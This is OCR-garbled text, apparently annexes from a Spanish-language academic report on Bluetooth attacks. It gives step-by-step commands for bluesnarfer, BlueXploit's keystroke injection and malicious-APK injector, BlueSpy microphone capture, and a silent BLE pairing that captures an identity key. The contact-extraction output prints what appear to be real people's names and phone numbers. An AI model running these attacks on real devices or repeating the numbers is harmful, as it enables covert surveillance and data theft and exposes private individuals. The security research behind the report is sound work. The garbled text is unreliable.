root@kali: fhomejkali/bluesnarfer

File Actions Edit View Help

/home/kali

/home/kali
bluesnarfer

/home/kali/bluesnarfer

Figura 60. Copiar el repositorio de Bluesnarfer

Ejecutar el archivo Makefile, para ver el script ejecutable, se utiliza el comando:

e make

| o3 @ A B | @ G

root@kali: fhomejkali/bluesnarfer

gce -Iinclude
src/bluesnarfer.c:
src/bluesnarfer.c:306: memcpy’ rea 8 s from a 5 [-Wstringop-overread]
306 | e ADDR_ANY, s 3
| =
m src/bluesnarfer.c:34:

luesnarfer.c
06 | m

/home/kali/bluesnarfer

bluesnarfer

/home/kali/bluesnarfer

Figura 61. Script ejecutable - Bluesnarfer

BlueXploit: Framework de explotacion disefiado para inyectar pulsaciones de teclado de
manera remota en dispositivos Bluetooth vulnerables, especialmente aquellos afectados
por CVE recientes. Permite ejecutar cargas utiles (payloads) sin requerir emparejamiento

previo.
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https://github.com/kimbo/bluesnarfer.git

b ha o

folueXploit?tab=readme-ov-file

15! blueXploit

P main - | P 16mmcn © otags Q . - e = | About

Exploit basado en vulnerabilidad

nd damikd 2 ooth

[0 README 4% MIT license

blueXploit

I
v W
130

O Buscar
Buscar 16/06/2025 %

Figura 62. GitHub - BlueXploit

Copiar el repositorio de la herramienta BlueXploit

e ¢git clone https://github.com/Danyw24/blueXploit.git

root@kali: fhome/kali
File Actions Edit View Help

/home/kali

Figura 63. Copiar el repositorio de BlueXploit

Instalacion y configuracion de algunas dependencias para BlueXploit

e sudo apt install -y bluez-tools bluez-hcidump libbluetooth-dev \
git gcc python3-pip python3-setuptools \
python3-pydbus apktool metasploit-framework \
openjdk-23-jdk

root @kali: fhome/kali

Actions Edit View Help

/home/kali

Figura 64. Dependencias BlueXploit
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https://github.com/Danyw24/blueXploit.git

e git clone git clone https://github.com/pybluez/pybluez.git
e cdpybluez
¢ sudo python3 setup.py install

O3 ¢ A gl a e

root@kali: fhome/kali
File Actions Edit View Help

/home/kali

/home/kali
pybluez

/home/kali/pybluez
setup.py install

BOrg #WNES T G0 TR DERECHA
14:49

WP e

Figura 65. Instalar y ejecutar pybluez

Se clona el repositorio de BlueZ desde GitHub descargando solo la tltima version (git
clone --depth=1). Luego, se compila el programa bdaddr (que permite ver y modificar
direcciones Bluetooth) usando gcc, incluyendo los archivos fuente bdaddr.c y oui.c de
BlueZ y vinculando la biblioteca bluetooth. Finalmente, el ejecutable generado se copia
a /usr/local/bin/ para que pueda ejecutarse desde cualquier ubicacion del sistema.

e cd..

e git clone --depth=1 https://github.com/bluez/bluez.git

e gcc -0 bdaddr ~/bluez/tools/bdaddr.c ~/bluez/src/oui.c -1 ~/bluez -1bluetooth
e sudo cp bdaddr /usr/local/bin/

/home/kali/pybluez

/home/kali

/home/kali
bdaddr ~/bluez/tools/bdaddr.c ~/bluez/src/oui.c ~fbluez

@kali  /home/kali
bdaddr /usr/lecal/bin/

/home/kali

Figura 66. Instalacion de BlueZ tultima version
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BlueSpy: Herramienta de auditoria enfocada en dispositivos de audio Bluetooth. Permite
conectarse de forma remota al microfono de auriculares o altavoces y capturar audio sin

consentimiento del usuario, explotando fallos en el control de perfiles de audio.

* 1 Branch © 0Tags

omezmorene erge pull request

[1] README

BlueSpy - PoC to record audio from a Bluetooth device

@arch ~/rooted2024 % python B

v W

1504
16/06/2025 Ez

H O Buscar ) i N ESP

Figura 67. GitHub - BlueSpy

Clonar el repositorio de BlueSpy y revisar los archivos del directorio

e git clone https://github.com/TarlogicSecurity/BlueSpy.git

T XY=tk

File Actions Edit View Help

root@kali: Jhomefkali/BlueSpy

/home/kali
BlueSpy

/home/kali/BlueSpy

BOkT#NEST G0 croerECHA
1512

e 16/06/2025 E?

Figura 68. Clonar el repositorio de BlueSpy
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https://github.com/TarlogicSecurity/BlueSpy.git

Anexo #2 Escaneo y recopilacion de informacion

Obtener la direccion MAC del dispositivo: Se debe ejecutar la herramienta

bluetoothctl, con los siguientes comandos:

e bluetoothctl

e agenton
e default-agent
e scanon

También puedes observar los dispositivos cercanos haciendo clic en el incono de

Bluetooth en Kali Linux y obtener mas informacion.

TR0 I DI SR TE O - Y

File Actions Edit View Help
3 Bluetooth Devices

A Adapter Device View Help

o v — 1@ SendFile

D Galaxy J2 Pro
Smartphone
00:00:00:00:5A:AD

LG PH1(15)
Head -~

4:C3:07:94
mazfit GTS2 mini

4 567KB 0.00B/s b 4.5

BOoNSaNEN T GOCH
1419

ND DB B

Figura 69. Interfaz visual de Bluetooth en Kali Linux (Blueman)

Para comprobar si el dispositivo es viable para conectar mediante bluetooth, puedes lanzar
un ping con el siguiente comando:

e [2ping -c¢ 5 <<direccion MAC>>

Figura 70. Lanzar un ping hacia un dispositivo Bluetooth
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Para obtener informacion sobre los servicios que tiene activo el dispositivo y en que

canales se estan trabajando, se ejecuta el siguiente comando:
e sdptool browser <<[direccion MAC]>>

Para saber el fabricante del dispositivo, del chip, la version de Bluetooth y las capacidades

técnicas del dispositivo, se ejecuta el siguiente comando:
e hcitool info <<[direccion MAC]>>

Dispositivo #1 [Samsung Galaxy J2 Pro]

O 3 ¢ A& 034 | @ e
root @kali: fhame/kali
File Actions Edit View Help

/home/kali /home/kali

/home/kali

=% & 48 O CTRL DERECHA
00:34
14/05/2025 EZ

Figura 71. Informacion de dispositivos Bluetooth #1: sdptool y hcitool

Si queremos obtener informacion sobre alguna vulnerabilidad del teléfono relacionada
con bluetooth que haya sido publicada, podemos hacerlo mediante la busqueda en bases
de datos de vulnerabilidades, por ejemplo, en la pagina CVE Details

About  Partner Information  Program Organization Downloads  Resources & Support ReportiRequest

Samsung Galaxy J2 Pra Site Search Q_ -
&

Searchtips @ | Provide feedback (3

@ Notice: Expanded keyward searching of CVE Records (with limitations) is now available in the search box above, Taxt may include a CVE/CWE/CAPEC ID (8.9, CVE- W
2024-1234), or one or mare keywords (e.g., 'SQL Injection’, 'man-in-the-middie’, etc ). Learn more here. . ®

Search Results +

Showing 1 of 1 result for Samsung Galaxy J2 Pro

Show: | oo o Sortby:  cup b newio old) v
CVE-2020-36693 CMNAMITRE Corporation
©On some Samsung phones and tablets running Android through 7.1.1, it is | an attacker-

controlled Blustooth Low Eneray (ELE) device to pair silently with a vulneral levice, withodt...

Show more.

Figura 72. Pagina - Buscador CVE
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Es una vulnerabilidad que afecta los dispositivos (teléfonos) Samsung con sistema
operativo Android < 7.1.1, el cual permite hacer una conexion BLE de manera silenciosa
sin intervencion de usuario. El atacante puede obtener la direccion MAC real y la clave

IRK, afectando la privacidad del dispositivo.

Search Results

‘There are 1 CWE Records that match your search.

Name Description

CVE-2020-35693 On some Samsung phones and tablets running Android through 7.1.1, it is possible for an attacker-controlled Bluetooth Low Energy (BLE) device to pair
silently with a wulnerable target device, without any user interaction, when the target device's Bluetooth is on, and it is running an app that offers a
connectable BLE adwertizsemnent. An example of such an app could be a Bluetooth-based contact tracing app, such as Australia's COVIDSafe app,
Singapore's TraceTogether app, or France's TousAntiCovid (formerly StopCovid). As part of the pairing process, two pieces (among others) of personally
identifiable information are exchanged: the Identity Address of the Bluetooth adapter of the target device, and its assodciated Identity Resolving Key (IRK).
Either one of these identifiers can be used to perform re-identification of the target device for long term tracking. The list of affected devices includes (but is
not limited to): Galaxy Mote 5, Galaxy S6 Edge, Galaxy A3, Tab A (2017), 12 Pro (2018), Galaxy Note 4, and Galaxy S5.

Figura 73. Pagina CVE — Vulnerabilidad 2020-35693

Otras vulnerabilidades relacionadas con Bluetooth

Esta vulnerabilidad permite a un atacante emular un dispositivo HID (Dispositivo de
Interfaz Humana) y enviar pulsaciones de teclado. Afecta sistemas que aceptan
conexiones HID sin validacion, facilitando inyecciones de comandos en el equipo

victima.

Search Results

|There are 1 CVE Records that match your search,

Name Description
CWE-2023-45866 Bluetooth HID Hosts in BlueZ may permit an unauthenticated Peripheral role HID Device to initiate and establish an encrypted connection, and accept HID
keyboard reports, potentially permitting injection of HID messages when no user interaction has occurred in the Central role to authorize such access. An
example affected package is bluez 5.64-0ubuntul in Ubuntu 22.04LTS, NOTE: in some cases, @ CWE-2020-0556 mitigation would have already addressed
this Bluetooth HID Hosts issue,

Figura 74. Pagina CVE - Vulnerabilidad 2023-45866

Esta vulnerabilidad aprovecha una falla en el proceso de reconexion L2CAP en
dispositivos Windows, donde un atacante que conoce la clave de emparejamiento puede
reconectarse automdticamente sin requerir autenticacion adicional, lo que permite

ejecutar comandos de forma remota sin intervencion del usuario.

Search Results

|There are 1 CWE Records that match your search

Name Description
CVE-2024-21306 Microsoft Bluetooth Driver Spoofing Wulnerability

Figura 75. Pagina CVE - Vulnerabilidad 2024-21306
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Dispositivo #2 [Audifonos Inalambricos — F9]

Entrada D

T : O % 4 A 521 | @ &
File Actions Edit View Help

root@kali: /home/kali/BlueSpy

/home/kali/BlueSpy /home/kali
41

/home/kali/Bluespy

/home/kali

BOkIT#NEET GO CTR DERECHA
; : g 1521
o 5 P o S

Figura 76. Informacion de dispositivos Bluetooth #2: sdptool y hcitool

Dispositivo #3 [Altavoz Inalambricos — LG PH1 (15)]

S emEPodr]-|1 23 4 |@ D o3 40 A 520 | @ &
File Actions Edit View Help
/home/kali/BlueSpy
67:15

/home/kali

blueman

Select row(s) and use Control + Cto copy
Address 9A:5A:5A:A6:67:15

AddressType public
Name LG PH1(15)

LGPH1(15)
0x240404

1529
% 16/06/2025 %

Figura 77. Informacion de dispositivos Bluetooth #3: sdptool y hcitool
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Anexo #3 - Prueba de concepto (PoC): Emparejamiento Silencioso BLE

Para la configuracion en la aplicacion nFR Connect y levantar el servicio BLE en el

teléfono, se necesita colocar el nombre del dispositivo y elegir las siguientes opciones:

e Complete Local Name
e Tx Power

e Service UUID

En la opcion Service UUID, colocar la representacion hexadecimal del servicio BLE:
0000FFF0-0000-1000-8000-00805F9B34FB

2 & 2.1 100% B 04219 B N =1l 100% W 04324

Edit advertising packet

Galaxy 32 Pro

Advertising data Service UVUID

1-0000-1000-3000-00305F9B 34FB
Complete Local Name

Previews

TX power S5

Service UWVID
Service Data

Manufacturer Data

Figura 78. Configuraciéon nFR Connect: Nombre, Potencia y Servicio UUID

En la opcion “Scan Response Data” elegir solo la opcion “Service Data” y colocar en

los campos lo siguiente:

e UUID or Service: 0000FFF0-0000-1000-8000-00805F9B34FB
e Data (HEX) 0x: AABBCC
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3 N =l 100% W 04346 3 N =il 100% B 04342

Edit advertising packet

Galaxy 32 Pro
Advertising data

Flags (On some devices)

Complete Local Name Service Data

Complete Local Name

1-0000-1000-3000-00805F9B 34FB
TX power

Ox AABBCC
Service UVID

Previews
Service Data UUID; OxFFFO Datas OxAABBCC

Manufacturer Data

Options:

Figura 79. Configuracion de Service Data

Verificar que esté marcada la opcidon conectable para poder emitir la sefial BLE y que

pueda ser visible para la maquina atacante. Una vez hecha la configuracion se observa

que esta encendido el servicio.

e Puede dejar las opciones en la seccion de “Connectable” o variar para

intensificar la senal.

UUID; oxFEFO Datag

BN il 73% W 2141
OxAABBCC

Devices Va H

. BONDED ADVERTISER
Options:

Galaxy 32 Pro

Connectable RANDOM ADDRESS

CONNECTABLE A -1dBm €250 ms

Advertising modes

LE only

BALANCED (250 ms)

Legacy
Discoverable, [Device specific)
Galaxy 32 Pro
=7 dBm

TX powers:
MEDIUM (-7 dBm)

OxFFFo
UVID: oxFFFo Datas 0xAABBCC

Figura 80. Configuracion BLE completa en el dispositivo
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Iniciar Wireshark para la escucha de sefiales entrantes, tiene que ser iniciado en modo
superusuario con el siguiente comando:
e sudo wireshark

T root@kali: fhome/kali

File Actions Edit View Help

/home/kali

Figura 81. Comando para iniciar Wireshark

Elegir el adaptador bluetooth que reconoce la maquina virtual y que esté captando sefiales

Bluetooth

...using this filter: N ur - Allinterfaces shown~

ethO / ; =
any

bluetoothQ

Loopback: lo

bluetooth-monitor

nflan

Figura 82. Elegir adaptador bluetooth en Wireshark

Iniciar Wireshark a la escucha de sefiales Bluetooth para después revisar los diferentes

paquetes de la conexion y emparejamiento.

Archivo Maquina Ver Entrada Dispositivos Ayuda
BumpPobl- | 23 4|40

Copturing from bluetoothd

File Edit View Go Capture Analyze Statistics Telephony Wireless Tools Help

ADA® R BERB Q ¢»n«>EEocoER
n

No.  Time Source Destination Protocol Lengtinfo

® B blsetootho: cive copture in progress> o Packets Profile: Default
B O[T ME ™ T @K IR DERECHA

931

= o ; ESP ook
BE Q Buscr 9, J AN RYE 0

Figura 83. Dejar a la escuchar de los paquetes Bluetooth en Wireshark
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Ingresar a la herramienta bluetoothctl mediante le modo NolnputNoOutput, un
emparejamiento automatico sin confirmacion o intervencion del usuario, ademas de
aplicar un filtro para sefiales BLE en uno de los subments de la herramienta. Se usaron

los siguientes comandos:

bluetoothctl --agent NoInputNoOutput
agent NolnputNoOutput

default-agent

power on

menu scan

uudis fff0

back

Archivo Maquina Ver Entrada Dispositivos Ayuda

BemPoD-| 125 4|60

/home/kali

Agent registered
agent NoInputNoOutput

Agent is already registered
default-agent

Default agent request successful
power on

Changing power on succeeded
menu scan

Menu scan:

Available commands:

uuids [all/uuidl wuid2 ...] Set/Get UUIDs filter
rssi [rssi] Set/Get RSSI filter, and clears pathloss
pathloss [pathloss] Set/Get Pathloss filter, and clears RSSI
transport [transport] Set/Get transport filter
duplicate-data [on/off] Set/Get duplicate data filter
discoverable [on/off] Set/Get discoverable filter
pattern [value] Set/Get pattern filter
clear [uuids/rssi/pathloss/transport/duplicate-data/discoverable/pattern] Clears discovery filter
back Return to main menu
version Display version
quit Quit program
exit Quit program
help Display help about this program
export Print environment variables
script <filename> Run script
uuids fffe
backll

B O¥ME & ME™E @K CrDERECHA

9:35

LAA 25/5/2025

Q Buscar N 3 = A Bt

Figura 84. Configuracion de bluetoothctl

Explicacion de la secuencia de comandos:

¢ Inicia bluetoothctl con un agente que no requiere entrada del usuario.

e Reafirmar el uso del agente NolnputNoOutput.

e [Establecer este agente como predeterminado.

e Encender el adaptador Bluetooth.

e Entrar al submenu de escaneo de dispositivos.

o Filtrar los resultados del escaneo para que solo muestre dispositivos que anuncian

un servicio con UUID 0xFFFO, es decir, un servicio BLE
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Iniciar el escaneo para encontrar la direccion MAC del dispositivo del servicio BLE que
se configurd, para seguidamente conectarse sin recibir ninguna notificacion.

e scanon

e scan off

e connect <<[direccion MAC]>>

% 193%009:39  Archivo  Maquina Ver E Dispositivos  Ayuda
B eomk» . O3 O A

File Actions Edit View Help

scan on
SetDiscoveryFilter success
hcio type 7 discovering on
Discovery started
] Controller 34:C9:3D:C4:4D:01 Discover

[ Device 55 9F:46:14 Galaxv J2 P
[ Device 146:14 RSSI: Oxffffffco
[ Device 146:14 RSSI: oxffffffco
[ Device 146:14 RSSI: Oxffffffcl
[ Device i81:51:9E:46:14 RSSI: Oxffffffbf
scan off
hcio type 7 discovering off
Discovery stopped
[ ] Device 55:81:51:9E:46:14 TxPower is nil
I ] Device 55:81:51:9E:46:14 RSSI is nil
[ ] Controller 34:C9:3D:C4:4D:01 Discovering:
connect 5 9E:46:14
Attempting to connect to 55:81:51:9E:46:14
hci@ 55:81:51:9E:46:14 type LE Random connected eir_len 25
[ ] Device 55 9E:46:14 Connected: yes
Connection successful
[NEW] Primary Service (Handle 0x0001)
/org/bluez/hcie/dev_55_81_51_9E_46_14/service0001
00001801-0000-1000-8000-00805f9b34fb
Generic Attribute Profile
[NEW] Characteristic (Handle 0x0002)
/org/bluez/hcio/dev_55_81_51_9E_46_14/service0001/char0002
00002a05-0000-1000-8000-00805f9b34fb
Service Changed
[NEW] Primary Service (Handle 0x0014)

03 ¢ W BT § @ B CTRLDERECHA

9:40

= S BB aae
BB  Q Buscar ) a2 VB o505

Figura 85. Configuracion para la conexion al dispositivo

Una vez establecida la conexion se tienen que emparejar los dispositivos, y nuevamente
no deberia generar ninguna notificacion.

$% 84%009:39  Archivo Maquina Ver Entrada Dispositivos Ayuda
SempPoo-
root@kai: homelkal
File Actions Edit View Help
Device Name
domeq 25 de mayg [NEW] Characteristic (Handle 0x0017)
/org/bluez/hcio/dev_55_81_51_9E_46_14/service@014/chareol7
00002201-0000-1000-8000-00805f9b34fb
Appearance
Characteristic (Handle 0x0019)
/org/bluez/hcio/dev_55_81 51 _9E _46_14/service0014/chareo19
000022a6-0000-1000-8000-00805f9b34fb

[ 00001800-0000-1000-8000-00805f9b34fb
[CH 6:14 UUIDs: 00001801-0000-1000-8000-00805f9b34fb
[ i 6:14 UUIDs: 0000fff0-0000-1000-8000-0! 5f9b34fb
[ i 6:14 ServicesResolved: yes

Attempting to pair with 55:81:51:9E:46:14
hcio new_link_key 00:00 5A:AD type 0x07 pin_len 0 store_hint 1
hcio device_flags_changed: 00:00:00:00:5A:AD (BR/EDR)
supp: 0x00000001 curr: 0x00000000
[ ] Device 00:00:00:00:5A:AD Address: 00:00:00:00:5A:AD
[ ] Device 0 :AD AddressType: public
[CHG] Device @ :5A:AD Bonded: yes
[CHG] Device @ {AD Paire s
Pairing successful
100:00:00:5A:AD type BR/EDR connect failed (status @x04, Connect Failed)
BR/EDR connected ei
tAD Class: 0x005a020c
*AD Icon: phone
: BR/EDR disconnected with reason 2
] Device 00:00:00:00:5A:AD ServicesResolved: no

0% 3 ¢ MO § @ B CRLDERECHA

o " B 9.40
Q Buscar H O a‘ ; AL @ 9

25/5/2025

Figura 86. Comando para emparejar al dispositivo
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En Wireshark estaran todos los paquetes de la conexion y el emparejamiento entre los dos
dispositivos. Entre los paquetes se deben buscar los que contienen el protocolo SMP,
para ello se aplica un filtro mediante la palabra clave btsmp y se debe buscar el paquete
con el nombre Revd Identity Information. Este paquete contiene la clave IRK o

Identity Resolving Key (Clave de Resolucion de Identidad).

Méquina

nmPon)-

Edit View prure A

ADA© = BBR@ o « » o -
n

No. Time Source Destination Protocol Leng Info
76 49. localhost () 55:81:51:9e:4.. SMP 16 Sent Pairing Request: AuthReq: Bonding, SecureConnection..
55:81:51:9e:46:14 (Galaxy J2 P.. localhost () SMP 16 Rcvd Pairing Response: AuthReq: Bonding, MITM, SecureCon..
localhost () 55:81:51:9¢e:4.. SMP 74 Sent Pairing Public Key
.B66655 55:81:51:9e:46:14 (Galaxy localhost ()  SMP 20 Rcvd Pairing Public Key
.866655 81: 9e:46:14 (Galaxy lhost () SMP 26 Rcvd Pairing Confirm
.867411  localhost () 55:81:51:9e:4.. SMP 26 Sent Pairing Random
9.955189 55:81:51:9e:46:14 (Galaxy .. localhost () SMP 26 Rcvd Pairing Random
.956056 localhost () 55:81:51:9¢e:] SMP 26 Sent Pairing DHKey Check
43177 55 :51:9 : (Galaxy . - localhost () SMP 26 Rcvd Pairing DHKey Check
231648 55:81:51 8 (Galaxy localhost () SMP 26 Rcvd Identity Information
231679 55:81:51:9: 4 (Galaxy J2 P.. localhost () SMP 17 Rcvd Identity Address Information
231680 55:81:51:9 - localhost () SMP Rcvd Signing Information
» Frame 100: 26 bytes on wire (208 bits), 26 bytes captured bits @128 15 00 11 60 06 0O ©8 fb 43 be 57 8a 75
+ Bluetooth f4 ac 43 66 93 97 4e 90 4d 68
» Bluetooth HCI H4
» Bluetooth HCI ACL Packet
» Bluetooth L2CAP Protocol
- Bluetooth Securitv Manaoer Protocol
opcode: Identity Information (
Identity Resolving Key: fh43be578a75f4ac436693974e904d68

ing Key (btsmp.id_re ¥), 16 by = ) Profie: Dot
BoxFsmEAE S0 ¢

T
£ =)
s = Q) W

O3 0 a Bs507 @ c
Capturing from bluetoothO

File Edit View Go Capture Analyze Statistics Telephony Wireless Tools Help

ADA® G BRB 2 « > n <« > H oooEE

N btsmp =5Ey - +

No. Time Source ~ Destination Protocol Length Info
71.871396 2 :56:15: (Galaxy localhost ( SMP 16 Revd g Response: AuthReq: Bonding, MITM, !
71.971103 3 15 (Galaxy localhost ( SMP ® Rcvd Pairing Public Key
72.028194 3 1 (Galaxy localhost ( SMP Rcvd Pairing Confirm
72.195967 5 E (Galaxy localhost ( SMP Rcvd Pairing Random

.278975 ' ' (Galaxy localhost ( SMP Revd Pairing DHKey Check
(
(
(

.445069 1 215 (Galaxy localhost SMP Rcvd Identity Information
451098 :¥1:1d:56:15: (Galaxy localhost SMP Rcvd Identity Address Information
51114 :56:15: (Galaxy localhost i

SMP Rcvd Si Information

Bluetooth HCI H4 02 67 20 6b 00 07 00 06 00 02 04 €
Bluetooth HCI ACL Packet
Bluetooth L2CAP Protocol
Bluetooth Security Manager Protocol

Opcode: Pairing Response (0x02)

I0 Capability: Keyboard, Display (0x04)

00B Data Flag 00B Auth. Data Not Present (0x00)
~ AuthReq: 0x0d, Secure Connection Flag, MITM Flag, Bonding Flags: Bonding

o ST

Keypress Flag: False
Secure Connection Flag: True
v MITM Flag: True
. 8 Bonding Flags: Bonding (0x1)
Max Encryption Key Size: 16
» Initiator Key Distribution: ©x0d, Link Key, Signature Key (CSRK), Encryption Key (LTK)
» Responder Key Distribution: ©x0f, Link Key, Signature Key (CSRK), Id Key (IRK), Encryption Key (LTK) . >

® B wireshark_bluetoothOHKDM62.pcapng Packets: 346 - Displayed: 13 (3.8%) Profile: Default
BONT #MELF M0 cRDEREC

05:07
ANBE GV By B

Figura 88. Paquetes SMP de respuesta al emparejamiento
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Anexo# 4 - Prueba de Concepto (PoC): Extraccion de nimeros telefonicos

Buscar en el directorio general e ingresar a la carpeta que contiene la herramienta

bluesnarfer.

3K il 90% Q1001 Archivo Maquina Ver Entrada Dispositivos Ayuda
BEmPoEl | 234 | P

/] O 2 O = ! File Actions Edit View Help

dom,, 25 de mayd /home/kali

total 30452
drwxr-xr-x root root 4096 May
kali kali 4096 May
2 kali kali 4096 May
kali kali 4096 May
2 kali kali 4096 May
2 kali kali 4096 May
kali kali 4096 May
kali kali 4096 May
kali kali 6633926 May :32 VBoxLinuxAdditions.run
kali kali 4096 May
kali kali 8126508 May
kali kali 10223660 May
kali kali 6094892 May
kali kali 22560 May bdaddr
root root 4096 May
kali kali 4096 May
root root 4096 May
root root 4096 May
kali kali 1858 May 3 comandos. txt
root root 4096 May
drwxr-xr-x root root 4096 May

/home/kali
bluesnarfer J|

0¥ 3 # MBI E @ K crRLDERECHA

- - — " J Epl " 10:03
BE Q Buscar o I G A TU® om0

Figura 89. Ingresar al directorio de la herramienta bluesnarfer

Una vez dentro de la carpeta debemos configurar y establecer conexion de tipo serial por

Bluetooth, mediante los siguientes comandos:

e mkdir -p /dev/bluetooth/rfcomm
e mknod -m 666 /dev/bluetooth/rfcomm/0 ¢ 216 0
e mknod --mode=666 /dev/rfcommO ¢ 216 0

3 & .1l 91% 010503 Archivo Maguina Ver Entrada Dispositivos Ayuda

LIETY X TaB R el 3o

’l O 5 O ) File Actions Edit View Help

dom,, 25 de mayd - /home/kali/bluesnarfer

total 172
-1 kali kali 226 May 19 10:27 Makefile
kali kali 3980 May 19 10:27 README.md
kali kali 155072 May 19 10:27 bluesnarfer
kali kali 4096 May 19 10:27

kali kali 4096 May 19 10:27

drwxrwxr-x 2 kali kali 4096 May 19 10:27

/home/kali/bluesnarfer
/dev/bluetooth/rfcomm

/home/kali/bluesnarfer
666 /dev/bluetooth/rfcomm/0 c 216 0

/home/kali/bluesnarfer
/dev/rfcomme c 216 0

/home/kali/bluesnarfer

Figura 90. Comandos para crear un puerto COMM virtual Bluetooth
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Explicacion de los comandos

Las siguientes lineas de comandos preparan al sistema de la maquina atacante para

comunicarse con un dispositivo Bluetooth como si fuera un puerto COM o serie.
e mkdir -p /dev/bluetooth/rfcomm
Crea una carpeta donde se guardaran los puertos Bluetooth tipo serie (RFCOMM).

e mknod -m 666 /dev/bluetooth/rfcomm/0 ¢ 216 0

Crea un puerto Bluetooth virtual (como un cable serie) en esa carpeta, ademas de dar

permisos de lectura y escritura con el parametro-m 666.
¢ mknod --mode=666 /dev/rfcommO ¢ 216 0

De igual manera que la linea anterior crear un puerto Bluetooth virtual, pero lo crea

directamente en /dev/rfcommO.

Una vez hecha las configuraciones del puerto serial Bluetooth, se puede ejecutar la

herramienta con el siguiente pardmetro.
e /bluesnarfer -r 1-1000 -C 2 -b <<[direccion MAC]>>

El parametro -r 1-1000 es el rango en cantidad de contactos que queremos extraer, -C 2

es el canal por donde se va a ejecutar y -b indica la direccion MAC del dispositivo.

Archivo Maquina Ver Entrada Dispositivos Ayuda

B EmRoO-| 2 3

Bluetooth

N File Actions Edit View Help
ACTIVADO

/home/kali/bluesnarfer

total 172
-1 kali kali 226 May 19 10:27 Makefile
kali kali 3980 May 19 10:27 README.md
kali kali 155072 May 19 10:27 bluesnarfer
kali kali 4096 May 19 10:27
2 kali kali 4096 May 19 10:27
2 kali kali 4096 May 19 10:27

/home/kali/bluesnarfer
/dev/bluetooth/rfcomm

/home/kali/bluesnarfer
666 /dev/bluetooth/rfcomm/@ c 216 @

Wireless /home/kali/bluesnarfer
/dev/rfcommo c 216 0
SM-T211 5
/home/kali/bluesnarfer
1-1000 2 00:00:00:00:5A:AD I
Redmi Note 10

O3 ¢ W BT @ K CTRLDERECHA

L (SN ] = J ESP a I 1011
BE Q Buscr & J 2 G N OB s

Figura 91. Comando para ejecutar la herramienta bluesnarfer
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Una vez le damos a la tecla Enter la herramienta empezard a ejecutarse e inmediatamente
se conectara al dispositivo extrayendo la cantidad de contactos disponibles o que le

hayamos indicado.

Archivo Méquina Ver Entrada Dispositivos  Ayuda

Bemk»

Bluetooth
root @kl 1
File Actions Edit View Help
v-rw-r—— 1 kali kali 3980 May 19 : README . md

1 kali kali 155072 May 19 bluesnarfer

drwxrwxr-x 3 kali kali 4096 May 19

drwxrwxr-x 2 kali kali 4096 May 19

drwxrwxr-x 2 kali kali 4096 May 19

ACTIVADO

/home/kali/bluesnarfer
/dev/bluetooth/rfcomm

/home/kali/bluesnarfer
666 /dev/bluetooth/rfcomm/@ c 2

/home/kali/bluesnarfer
/dev/rfcomm@ c 216 0
2 /home/kali/bluesnarfer
1-1000 2 00:00:00:00:5A:AD
Wireless i name: Galaxy J2 Pro
Prepago Amigo/0 : %282
SERVICIO PREPAGO/M *282
Asistencia/0 : *333
Call Center/0 : *611
Redmi Note 10 ATENCION CLARO/M : %611
6 Saldos/0 : %612
SALDOS DE PLAN/M : %612
Buzon de Voz/M : %77
Ayuda/M : %777
10 - Jeferson/M : +593939369260
11 - Gustave_7/M : +593939984226
12 - Matthew De La Cruz/M : +593959530817

SM-T211

O3 ¢ MBI @ CTRLDERECHA

T o ; J B 1012
B Q Buscr m o 2 9 S a POE s

Figura 92. Extraccion de nimeros telefonicos

Al momento de realizar esta prueba se tomo en cuenta la direccion MAC que se obtuvo
en la prueba anterior, esto facilitd la conexion y extraccion de los contactos sin que haya

alguna notificacion, llegando a extraer alrededor de 209 contactos.

Archivo Méquina Ver Entrada  Dispositivos

Bluetooth W=mpor| > L
oot @k homealibluesnarter
File Actions Edit View Help
+ 184 - Proselitismo/ 0962499998
+ 185 - MOVISTAR/O 0962788888
+ 186 - MOVISTAR/M 0962788888
+ 187 - Call Center : 0963066666
+ 188 - Carlos A./M : 0968042476
+ 189 Carlos A./M : 0968042476
+ 190 Finanzas/M : 0969027094
+ 191 - Emanuel /Mon/0 : 0978781151
+ 192 - Prof. Diana Chiliquinga/M : 0982619873
+ 193 - Anitax/M : 0986227167
+ 194 - Ing JAIME O/M : 0988640232
+ 195 - Turismo/O : 0980300005
+ 196 - Proselitismo/M : 0980300005
+ 197 - Ventas/M : 0980300006
+ 198 - Prof. Diana Chiliquinga/M : 09
+
+
&
+
+
+
+
+
+
+
+
b

ACTIVADO

199 Anitax/M : 0986227167

200 Ing JAIME O/M : 0988640232

201 - Tec Ing Industrial/M : 0993318997

202 David Rosales/M : 0994601230

203 JP/M : 0990457457

204 JP/M : 0990457457

205 - Tec Ing Industrial/M : 0993318997

206 - Sargento Coronel/M : 0996724217

207 - sargento Coronel/M : 0996724217

208 - Emergencia/0 : 112

209 - 3136141812/0 : 3136141812
luesnarfer: release rfcomm ok

Wireless
SM-T211

Redmi Note 10

/home/kali/bluesnarfer

B 0% 3 ¢ MBI § @ K CRLDERECHA

< - B 10:14
Q Buscar A e TO® s

Figura 93. Ejecucion de la herramienta bluesnarfer finalizada
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Anexo #5 Prueba de Concepto (PoC): Pulsaciones de teclado via Bluetooth

Buscar la herramienta BlueXploit en el directorio general del sistema Kali Linux e

ingresar a la carpeta.

7 Kali Linux 2 [Corriendo] - Oracle VirtualBox

BN = l76%00183 | Archivo Maquina Ver Entrada  Di

Bleampko»--|

File Actions Edit View Help

/home/kali

/kal.

. /hone/kali/blueXploit

0¥ ¢ W BT & & B CRLDERECHA

Figura 94. Directorio de la herramienta BlueXploit

Una vez en la carpeta BlueXploit, se debe ingresar a otro directorio llamado “inyector”,

el cual es una herramienta para levantar un servidor local y crear una apk maliciosa.

™ Kali Linux 2 [Corriendo] - Oracle VirtualBox
BN S 96%0013 | Archivo Maquina Ver Entrada

BEapPer[1 23

' File Actions Edit View Help

/home/kali/bluexploit

/home/kali/blueXploit
tor

/hone/kali/blueXploit/injector

B O»¥E ¢ MO E @ B CRLDERECHA

Figura 95. Iniciar la herramienta Inyector
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Se debe iniciar la herramienta y dar nombre a la apk con siguiendo los siguientes
comandos:

e python3 apkpwn_inyector.py
™ Kali Linux 2 [Corriendo] - Oracle VirtualBox

BN = U9PA00184 = Archivo Maquina Ver Entrada Dispositivos  Ayuda

BlempPo»cl-|

File Actions Edit View Help

/home/kali/bluexploit/injector

0¥ 5 ¢ MO E & B CRLDERECHA

Figura 96. Injector: Crea una apk y la sube a un servidor local

Abrir otra consola e ingresar nuevamente al directorio de la herramienta BlueXploit y

ejecutar el archivo bluexploit.py con el siguiente comando:

e python3 bluexploit -i hci0 -t <<[direccion MAC]>>

7 Kali Linux 2 [Corriendo] - Oracle VirtualBox
BN S PR 0015 | Archivo  Méquina  Ver Entrada
i m ' - ‘x v 12
